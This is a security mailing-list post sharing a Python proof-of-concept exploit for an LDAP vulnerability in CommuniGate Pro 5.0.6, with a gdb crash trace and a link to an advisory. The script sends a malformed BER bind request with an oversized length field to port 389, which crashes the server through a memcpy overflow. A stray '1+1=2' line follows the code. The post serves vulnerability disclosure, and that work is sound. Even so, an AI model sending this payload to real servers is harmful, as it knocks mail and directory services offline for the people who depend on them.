<<< Date Index >>>     <<< Thread Index >>>

Proof of concept for CommuniGate Pro Server vulnerability



Hi all,

The simple code below can be used to reproduce one of CommuniGate 5.0.6 LDAP 
vulnerabilities 
(http://www.gleg.net/cg_advisory.txt)

#!/usr/bin/env python
# Use this code at your own risk.
# It may crash your server!
# Author: Evgeny Legerov

import sys
import socket

HELP="""
CommuniGate Pro 5.0.6 vulnerability.
Found with ProtoVer LDAP testsuite v1.1

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1389495376 (LWP 20235)]
0xada99bbc in memcpy () from /lib/libc.so.6
(gdb) backtrace
#0  0xada99bbc in memcpy () from /lib/libc.so.6
#1  0x083924b8 in STCopyCString ()
#2  0x08349d5b in BERPackedData::makeCString ()
#3  0x081ae71a in VLDAPInput::processBINDrequest ()
#4  0x081af747 in VLDAPInput::processInput ()
#5  0x082c9373 in VStream::worker ()
#6  0x082ca1e9 in VStream::starter ()
#7  0x08399e7d in STThreadStarter ()
#8  0xadb8bb80 in start_thread () from /lib/libpthread.so.0
#9  0xadaf8dee in clone () from /lib/libc.so.6
(gdb) x/i $eip
0xada99bbc <memcpy+28>: repz movsl %ds:(%esi),%es:(%edi)
(gdb) info regi esi edi ecx
esi            0x8688961        141068641
edi            0x86c6fff        141324287
ecx            0x3fff7eae       1073708718
"""

print HELP

host="localhost"
port=389

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host,port))

s  = "\x30\x12\x02\x01\x01\x60\x0d\x02\x01\x03\x04\x02\x44\x4e\x80"
s += "\x84\xff\xff\xff\xff"

sock.sendall(s)
sock.close()
1+1=2

Best regards,
Evgeny Legerov